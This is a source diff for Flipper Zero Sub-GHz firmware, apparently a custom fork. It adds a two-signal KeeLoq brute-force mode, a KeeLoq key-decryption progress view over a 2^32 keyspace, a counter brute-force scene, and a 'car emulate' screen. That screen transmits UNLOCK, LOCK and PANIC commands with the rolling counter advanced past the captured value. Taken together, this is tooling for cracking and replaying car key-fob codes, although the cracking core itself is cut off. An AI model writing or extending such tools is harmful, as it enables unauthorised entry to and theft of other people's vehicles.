@@ -141,16 +154,19 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexPsaDecrypt) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexCounterBf) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCounterBf);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexCarEmulateSettings) {
|
||||
/* <-- was outside the if block due to misplaced brace, now fixed */
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager,
|
||||
SubGhzSceneSavedMenu,
|
||||
SubmenuIndexCarEmulateSettings);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulateSettings);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
|
||||
@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
|
||||
SubmenuIndexKeeloqKeys,
|
||||
subghz_scene_start_submenu_callback,
|
||||
subghz);
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"KeeLoq BF (2 Signals)",
|
||||
SubmenuIndexKeeloqBf2,
|
||||
subghz_scene_start_submenu_callback,
|
||||
subghz);
|
||||
submenu_set_selected_item(
|
||||
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
|
||||
|
||||
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexKeeloqBf2) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
|
||||
@@ -10,4 +10,5 @@ enum SubmenuIndex {
|
||||
SubmenuIndexProtocolList,
|
||||
SubmenuIndexRadioSetting,
|
||||
SubmenuIndexKeeloqKeys,
|
||||
SubmenuIndexKeeloqBf2,
|
||||
};
|
||||
|
||||
@@ -94,6 +94,10 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) {
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterPageChange) {
|
||||
// Page changed via OK button, refresh display
|
||||
subghz_scene_transmitter_update_data_show(subghz);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterError) {
|
||||
furi_string_set(subghz->error_str, "Protocol not\nfound!");
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub);
|
||||
|
||||
@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
|
||||
|
||||
subghz->keeloq_keys_manager = NULL;
|
||||
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
|
||||
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
|
||||
|
||||
subghz->file_path = furi_string_alloc();
|
||||
subghz->file_path_tmp = furi_string_alloc();
|
||||
|
||||
@@ -195,6 +200,18 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
|
||||
SubGhzViewIdPsaDecrypt,
|
||||
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
|
||||
|
||||
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
|
||||
view_dispatcher_add_view(
|
||||
subghz->view_dispatcher,
|
||||
SubGhzViewIdKeeloqDecrypt,
|
||||
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
|
||||
|
||||
subghz->car_emulate_view = subghz_car_emulate_view_alloc();
|
||||
view_dispatcher_add_view(
|
||||
subghz->view_dispatcher,
|
||||
SubGhzViewIdCarEmulate,
|
||||
subghz_car_emulate_view_get_view(subghz->car_emulate_view));
|
||||
|
||||
//init threshold rssi
|
||||
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
|
||||
|
||||
@@ -306,6 +323,14 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
|
||||
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
|
||||
|
||||
// KeeLoq Decrypt
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
|
||||
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
|
||||
|
||||
// Custom car-emulate view
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
|
||||
subghz_car_emulate_view_free(subghz->car_emulate_view);
|
||||
|
||||
// Read RAW
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
|
||||
subghz_read_raw_free(subghz->subghz_read_raw);
|
||||
@@ -353,7 +378,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
|
||||
furi_string_free(subghz->file_path);
|
||||
furi_string_free(subghz->file_path_tmp);
|
||||
|
||||
// KeeLoq key manager (may still be live if app exited from within the edit scene)
|
||||
furi_string_free(subghz->keeloq_bf2.sig1_path);
|
||||
furi_string_free(subghz->keeloq_bf2.sig2_path);
|
||||
|
||||
if(subghz->keeloq_keys_manager) {
|
||||
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
|
||||
subghz->keeloq_keys_manager = NULL;
|
||||
@@ -386,6 +413,7 @@ int32_t subghz_app(void* p) {
|
||||
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
|
||||
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
|
||||
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
|
||||
} else {
|
||||
scene_manager_set_scene_state(
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
#include "views/subghz_frequency_analyzer.h"
|
||||
#include "views/subghz_read_raw.h"
|
||||
#include "views/subghz_psa_decrypt.h"
|
||||
#include "views/subghz_keeloq_decrypt.h"
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <assets_icons.h>
|
||||
@@ -42,6 +43,8 @@
|
||||
#include "helpers/subghz_txrx.h"
|
||||
#include "helpers/subghz_keeloq_keys.h"
|
||||
|
||||
#include "views/subghz_car_emulate.h"
|
||||
|
||||
#define SUBGHZ_MAX_LEN_NAME 64
|
||||
#define SUBGHZ_EXT_PRESET_NAME true
|
||||
#define SUBGHZ_RAW_THRESHOLD_MIN (-90.0f)
|
||||
@@ -74,6 +77,8 @@ struct SubGhz {
|
||||
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
|
||||
SubGhzReadRAW* subghz_read_raw;
|
||||
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
|
||||
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
|
||||
SubGhzCarEmulateView* car_emulate_view;
|
||||
bool raw_send_only;
|
||||
|
||||
bool save_datetime_set;
|
||||
@@ -102,13 +107,25 @@ struct SubGhz {
|
||||
// KeeLoq key management
|
||||
SubGhzKeeloqKeysManager* keeloq_keys_manager;
|
||||
struct {
|
||||
uint8_t key_bytes[8]; // ByteInput result
|
||||
char name[65]; // TextInput result
|
||||
uint16_t type; // selected learning type 1..8
|
||||
bool is_new; // true = add, false = edit
|
||||
size_t edit_index; // valid when is_new == false
|
||||
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
|
||||
uint8_t key_bytes[8];
|
||||
char name[65];
|
||||
uint16_t type;
|
||||
bool is_new;
|
||||
size_t edit_index;
|
||||
uint8_t edit_step;
|
||||
} keeloq_edit;
|
||||
|
||||
struct {
|
||||
uint32_t fix;
|
||||
uint32_t hop1;
|
||||
uint32_t hop2;
|
||||
uint32_t serial;
|
||||
bool sig1_loaded;
|
||||
bool sig2_loaded;
|
||||
FuriString* sig1_path;
|
||||
FuriString* sig2_path;
|
||||
uint8_t learn_type;
|
||||
} keeloq_bf2;
|
||||
};
|
||||
|
||||
void subghz_blink_start(SubGhz* subghz);
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
#include "subghz_last_settings.h"
|
||||
#include "subghz_i.h"
|
||||
#include <math.h>
|
||||
|
||||
#define TAG "SubGhzLastSettings"
|
||||
|
||||
@@ -14,8 +13,8 @@
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILE_NAMES "ProtocolNames"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE "Hopping"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_THRESHOLD "ModHopThreshold"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_DWELL "ModHopDwell"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING "PresetHopping"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD "PresetHoppingThreshold"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER "IgnoreFilter"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_FILTER "Filter"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_RSSI_THRESHOLD "RSSI"
|
||||
@@ -23,6 +22,8 @@
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_THRESHOLD "HoppingThreshold"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP "LedAndPowerAmp"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_TX_POWER "TXPower"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE "CustomCarEmulate"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER "ProtocolFilter"
|
||||
|
||||
SubGhzLastSettings* subghz_last_settings_alloc(void) {
|
||||
SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings));
|
||||
@@ -48,9 +49,10 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
|
||||
instance->filter = SubGhzProtocolFlag_Decodable;
|
||||
instance->rssi = SUBGHZ_RAW_THRESHOLD_MIN;
|
||||
instance->hopping_threshold = -90.0f;
|
||||
instance->mod_hopping_threshold = NAN; // disabled by default
|
||||
instance->mod_hopping_dwell = 20; // 2 seconds (20 × 100ms ticks)
|
||||
instance->enable_preset_hopping = false;
|
||||
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
|
||||
instance->leds_and_amp = true;
|
||||
instance->protocol_filter[0] = '\0';
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
|
||||
@@ -103,19 +105,24 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
|
||||
1)) {
|
||||
flipper_format_rewind(fff_data_file);
|
||||
}
|
||||
if(!flipper_format_read_float(
|
||||
if(!flipper_format_read_bool(
|
||||
fff_data_file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_THRESHOLD,
|
||||
&instance->mod_hopping_threshold,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
|
||||
&instance->enable_preset_hopping,
|
||||
1)) {
|
||||
instance->enable_preset_hopping = false;
|
||||
flipper_format_rewind(fff_data_file);
|
||||
}
|
||||
if(!flipper_format_read_uint32(
|
||||
float temp_preset_threshold = 0;
|
||||
if(!flipper_format_read_float(
|
||||
fff_data_file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_DWELL,
|
||||
&instance->mod_hopping_dwell,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
|
||||
&temp_preset_threshold,
|
||||
1)) {
|
||||
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
|
||||
flipper_format_rewind(fff_data_file);
|
||||
} else {
|
||||
instance->preset_hopping_threshold = temp_preset_threshold;
|
||||
}
|
||||
if(!flipper_format_read_uint32(
|
||||
fff_data_file,
|
||||
@@ -159,6 +166,27 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
|
||||
1)) {
|
||||
flipper_format_rewind(fff_data_file);
|
||||
}
|
||||
if(!flipper_format_read_bool(
|
||||
fff_data_file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
|
||||
&instance->custom_car_emulate,
|
||||
1)) {
|
||||
instance->custom_car_emulate = false;
|
||||
flipper_format_rewind(fff_data_file);
|
||||
}
|
||||
FuriString* filter_str = furi_string_alloc();
|
||||
if(flipper_format_read_string(
|
||||
fff_data_file, SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER, filter_str)) {
|
||||
strncpy(
|
||||
instance->protocol_filter,
|
||||
furi_string_get_cstr(filter_str),
|
||||
sizeof(instance->protocol_filter) - 1);
|
||||
instance->protocol_filter[sizeof(instance->protocol_filter) - 1] = '\0';
|
||||
} else {
|
||||
instance->protocol_filter[0] = '\0';
|
||||
flipper_format_rewind(fff_data_file);
|
||||
}
|
||||
furi_string_free(filter_str);
|
||||
|
||||
} while(0);
|
||||
} else {
|
||||
@@ -232,17 +260,17 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
|
||||
file, SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE, &instance->enable_hopping, 1)) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_write_float(
|
||||
if(!flipper_format_write_bool(
|
||||
file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_THRESHOLD,
|
||||
&instance->mod_hopping_threshold,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
|
||||
&instance->enable_preset_hopping,
|
||||
1)) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_write_uint32(
|
||||
if(!flipper_format_write_float(
|
||||
file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_DWELL,
|
||||
&instance->mod_hopping_dwell,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
|
||||
&instance->preset_hopping_threshold,
|
||||
1)) {
|
||||
break;
|
||||
}
|
||||
@@ -277,6 +305,19 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
|
||||
file, SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP, &instance->leds_and_amp, 1)) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_write_bool(
|
||||
file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
|
||||
&instance->custom_car_emulate,
|
||||
1)) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_write_string_cstr(
|
||||
file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER,
|
||||
instance->protocol_filter)) {
|
||||
break;
|
||||
}
|
||||
|
||||
saved = true;
|
||||
} while(0);
|
||||
|
||||
@@ -12,23 +12,26 @@
|
||||
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET 1
|
||||
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
|
||||
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
|
||||
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
|
||||
|
||||
typedef struct {
|
||||
uint32_t frequency;
|
||||
uint32_t preset_index; // AKA Modulation
|
||||
uint32_t preset_index;
|
||||
uint32_t frequency_analyzer_feedback_level;
|
||||
float frequency_analyzer_trigger;
|
||||
bool protocol_file_names;
|
||||
bool enable_hopping;
|
||||
float mod_hopping_threshold; // RSSI threshold for mod hopping, NAN = disabled
|
||||
uint32_t mod_hopping_dwell; // Dwell time in ticks (100ms units)
|
||||
uint32_t ignore_filter;
|
||||
uint32_t filter;
|
||||
float rssi;
|
||||
bool delete_old_signals;
|
||||
float hopping_threshold;
|
||||
bool enable_preset_hopping;
|
||||
float preset_hopping_threshold;
|
||||
bool leds_and_amp;
|
||||
uint8_t tx_power;
|
||||
bool custom_car_emulate;
|
||||
char protocol_filter[256]; /* comma-separated allowlist, empty = disabled */
|
||||
} SubGhzLastSettings;
|
||||
|
||||
SubGhzLastSettings* subghz_last_settings_alloc(void);
|
||||
|
||||
@@ -0,0 +1,264 @@
|
||||
#include "subghz_car_emulate.h"
|
||||
#include "../helpers/subghz_custom_event.h"
|
||||
|
||||
#include <gui/elements.h>
|
||||
#include <input/input.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define TAG "SubGhzCarEmulateView"
|
||||
|
||||
/* ── Model ──────────────────────────────────────────────────────────────── */
|
||||
typedef struct {
|
||||
char protocol_name[32];
|
||||
uint32_t serial;
|
||||
uint32_t counter;
|
||||
uint32_t original_counter;
|
||||
uint32_t freq;
|
||||
char preset[12];
|
||||
bool is_transmitting;
|
||||
uint8_t anim_frame;
|
||||
char label_ok[12];
|
||||
char label_up[12];
|
||||
char label_down[12];
|
||||
char label_left[12];
|
||||
char label_right[12];
|
||||
} SubGhzCarEmulateViewModel;
|
||||
|
||||
/* ── Handle ─────────────────────────────────────────────────────────────── */
|
||||
struct SubGhzCarEmulateView {
|
||||
View* view;
|
||||
SubGhzCarEmulateViewCallback callback;
|
||||
void* context;
|
||||
};
|
||||
|
||||
/* ── Draw ───────────────────────────────────────────────────────────────── */
|
||||
static void subghz_car_emulate_view_draw(Canvas* canvas, void* model_ptr) {
|
||||
SubGhzCarEmulateViewModel* m = model_ptr;
|
||||
|
||||
m->anim_frame = (m->anim_frame + 1) % 8;
|
||||
|
||||
canvas_clear(canvas);
|
||||
|
||||
/* Header bar */
|
||||
canvas_draw_box(canvas, 0, 0, 128, 11);
|
||||
canvas_invert_color(canvas);
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, m->protocol_name);
|
||||
canvas_invert_color(canvas);
|
||||
|
||||
/* Info row 1: serial + counter */
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
char buf[32];
|
||||
|
||||
if(m->serial <= 0xFFFFFFUL) {
|
||||
snprintf(buf, sizeof(buf), "SN:%06lX", (unsigned long)(m->serial & 0xFFFFFFUL));
|
||||
} else {
|
||||
snprintf(buf, sizeof(buf), "SN:%08lX", (unsigned long)m->serial);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 20, buf);
|
||||
|
||||
snprintf(buf, sizeof(buf), "CNT:%04lX", (unsigned long)m->counter);
|
||||
canvas_draw_str(canvas, 68, 20, buf);
|
||||
|
||||
if(m->counter > m->original_counter) {
|
||||
snprintf(buf, sizeof(buf), "+%ld", (long)(m->counter - m->original_counter));
|
||||
canvas_draw_str(canvas, 112, 20, buf);
|
||||
}
|
||||
|
||||
/* Info row 2: frequency + preset */
|
||||
snprintf(
|
||||
buf,
|
||||
sizeof(buf),
|
||||
"F:%lu.%02lu",
|
||||
(unsigned long)(m->freq / 1000000UL),
|
||||
(unsigned long)((m->freq % 1000000UL) / 10000UL));
|
||||
canvas_draw_str(canvas, 2, 30, buf);
|
||||
canvas_draw_str(canvas, 95, 30, m->preset);
|
||||
|
||||
/* ── Button labels ── */
|
||||
const uint8_t font_h = canvas_current_font_height(canvas);
|
||||
|
||||
/* Centre → UNLOCK (OK button) */
|
||||
{
|
||||
const char* lbl = m->label_ok;
|
||||
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
|
||||
canvas_draw_rbox(canvas, 64 - w / 2, 45 - font_h / 2, w, font_h, 3);
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_str_aligned(canvas, 64, 49, AlignCenter, AlignBottom, lbl);
|
||||
canvas_invert_color(canvas);
|
||||
}
|
||||
|
||||
/* Up → LOCK */
|
||||
{
|
||||
const char* lbl = m->label_up;
|
||||
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
|
||||
canvas_draw_rbox(canvas, 64 - w / 2, 33 - font_h / 2, w, font_h, 3);
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_str_aligned(canvas, 64, 37, AlignCenter, AlignBottom, lbl);
|
||||
canvas_invert_color(canvas);
|
||||
}
|
||||
|
||||
/* Left → PANIC */
|
||||
{
|
||||
const char* lbl = m->label_left;
|
||||
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
|
||||
canvas_draw_rbox(canvas, 0, 46 - font_h / 2, w, font_h, 3);
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_str_aligned(canvas, w / 2, 50, AlignCenter, AlignBottom, lbl);
|
||||
canvas_invert_color(canvas);
|
||||
}
|
||||
|
||||
/* Right → generic extra */
|
||||
{
|
||||
const char* lbl = m->label_right;
|
||||
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
|
||||
canvas_draw_rbox(canvas, 127 - w, 46 - font_h / 2, w, font_h, 3);
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_str_aligned(canvas, 127 - w / 2, 50, AlignCenter, AlignBottom, lbl);
|
||||
canvas_invert_color(canvas);
|
||||
}
|
||||
|
||||
/* Down → BOOT */
|
||||
{
|
||||
const char* lbl = m->label_down;
|
||||
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
|
||||
canvas_draw_rbox(canvas, 64 - w / 2, 57 - font_h / 2, w, font_h, 3);
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_str_aligned(canvas, 64, 61, AlignCenter, AlignBottom, lbl);
|
||||
canvas_invert_color(canvas);
|
||||
}
|
||||
|
||||
/* TX overlay */
|
||||
if(m->is_transmitting) {
|
||||
canvas_draw_rbox(canvas, 24, 18, 80, 18, 3);
|
||||
canvas_invert_color(canvas);
|
||||
int wave = m->anim_frame % 3;
|
||||
canvas_draw_str(canvas, 28 + wave * 2, 25, ")))");
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(canvas, 64, 24, AlignCenter, AlignCenter, "TX");
|
||||
canvas_invert_color(canvas);
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Input ──────────────────────────────────────────────────────────────── */
|
||||
static bool subghz_car_emulate_view_input(InputEvent* event, void* context) {
|
||||
SubGhzCarEmulateView* instance = context;
|
||||
furi_assert(instance);
|
||||
|
||||
if(event->type == InputTypePress) {
|
||||
if(event->key == InputKeyBack) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventCarEmulateExit, instance->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Any directional / OK key → start TX */
|
||||
if(instance->callback) {
|
||||
/* Pack the raw InputKey into the upper bits of the event so the
|
||||
scene can read which button was pressed.
|
||||
Lower 16 bits = SubGhzCustomEventCarEmulateTransmit marker,
|
||||
upper 16 bits = InputKey value. */
|
||||
uint32_t ev = ((uint32_t)event->key << 16) |
|
||||
(uint32_t)SubGhzCustomEventCarEmulateTransmit;
|
||||
instance->callback(ev, instance->context);
|
||||
}
|
||||
return true;
|
||||
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
if(event->key != InputKeyBack) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventCarEmulateStop, instance->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ── Alloc / Free ───────────────────────────────────────────────────────── */
|
||||
SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void) {
|
||||
SubGhzCarEmulateView* instance = malloc(sizeof(SubGhzCarEmulateView));
|
||||
furi_check(instance);
|
||||
|
||||
instance->view = view_alloc();
|
||||
instance->callback = NULL;
|
||||
instance->context = NULL;
|
||||
|
||||
view_set_context(instance->view, instance);
|
||||
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzCarEmulateViewModel));
|
||||
view_set_draw_callback(instance->view, subghz_car_emulate_view_draw);
|
||||
view_set_input_callback(instance->view, subghz_car_emulate_view_input);
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance) {
|
||||
furi_check(instance);
|
||||
view_free(instance->view);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance) {
|
||||
furi_check(instance);
|
||||
return instance->view;
|
||||
}
|
||||
|
||||
void subghz_car_emulate_view_set_callback(
|
||||
SubGhzCarEmulateView* instance,
|
||||
SubGhzCarEmulateViewCallback callback,
|
||||
void* context) {
|
||||
furi_check(instance);
|
||||
instance->callback = callback;
|
||||
instance->context = context;
|
||||
}
|
||||
|
||||
void subghz_car_emulate_view_set_data(
|
||||
SubGhzCarEmulateView* instance,
|
||||
const char* protocol_name,
|
||||
uint32_t serial,
|
||||
uint32_t counter,
|
||||
uint32_t original_counter,
|
||||
uint32_t freq,
|
||||
const char* preset,
|
||||
bool is_transmitting) {
|
||||
furi_check(instance);
|
||||
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzCarEmulateViewModel * m,
|
||||
{
|
||||
strncpy(m->protocol_name, protocol_name, sizeof(m->protocol_name) - 1);
|
||||
m->protocol_name[sizeof(m->protocol_name) - 1] = '\0';
|
||||
m->serial = serial;
|
||||
m->counter = counter;
|
||||
m->original_counter = original_counter;
|
||||
m->freq = freq;
|
||||
strncpy(m->preset, preset, sizeof(m->preset) - 1);
|
||||
m->preset[sizeof(m->preset) - 1] = '\0';
|
||||
m->is_transmitting = is_transmitting;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_car_emulate_view_set_labels(
|
||||
SubGhzCarEmulateView* instance,
|
||||
const char* ok,
|
||||
const char* up,
|
||||
const char* down,
|
||||
const char* left,
|
||||
const char* right) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzCarEmulateViewModel * m,
|
||||
{
|
||||
strncpy(m->label_ok, ok ? ok : "", sizeof(m->label_ok) - 1);
|
||||
strncpy(m->label_up, up ? up : "", sizeof(m->label_up) - 1);
|
||||
strncpy(m->label_down, down ? down : "", sizeof(m->label_down) - 1);
|
||||
strncpy(m->label_left, left ? left : "", sizeof(m->label_left) - 1);
|
||||
strncpy(m->label_right, right ? right : "", sizeof(m->label_right) - 1);
|
||||
},
|
||||
true);
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/view.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct SubGhzCarEmulateView SubGhzCarEmulateView;
|
||||
|
||||
typedef void (*SubGhzCarEmulateViewCallback)(uint32_t event, void* context);
|
||||
|
||||
SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void);
|
||||
void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance);
|
||||
View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance);
|
||||
|
||||
void subghz_car_emulate_view_set_callback(
|
||||
SubGhzCarEmulateView* instance,
|
||||
SubGhzCarEmulateViewCallback callback,
|
||||
void* context);
|
||||
|
||||
/** Update the fields shown on the view.
|
||||
* All strings are copied internally so the caller can free them after the call.
|
||||
*/
|
||||
void subghz_car_emulate_view_set_labels(
|
||||
SubGhzCarEmulateView* instance,
|
||||
const char* ok,
|
||||
const char* up,
|
||||
const char* down,
|
||||
const char* left,
|
||||
const char* right);
|
||||
|
||||
void subghz_car_emulate_view_set_data(
|
||||
SubGhzCarEmulateView* instance,
|
||||
const char* protocol_name,
|
||||
uint32_t serial,
|
||||
uint32_t counter,
|
||||
uint32_t original_counter,
|
||||
uint32_t freq,
|
||||
const char* preset,
|
||||
bool is_transmitting);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,246 @@
|
||||
#include "subghz_keeloq_decrypt.h"
|
||||
|
||||
#include <gui/elements.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define KL_TOTAL_KEYS 0x100000000ULL
|
||||
|
||||
struct SubGhzViewKeeloqDecrypt {
|
||||
View* view;
|
||||
SubGhzViewKeeloqDecryptCallback callback;
|
||||
void* context;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint8_t progress;
|
||||
uint32_t keys_tested;
|
||||
uint32_t keys_per_sec;
|
||||
uint32_t elapsed_sec;
|
||||
uint32_t eta_sec;
|
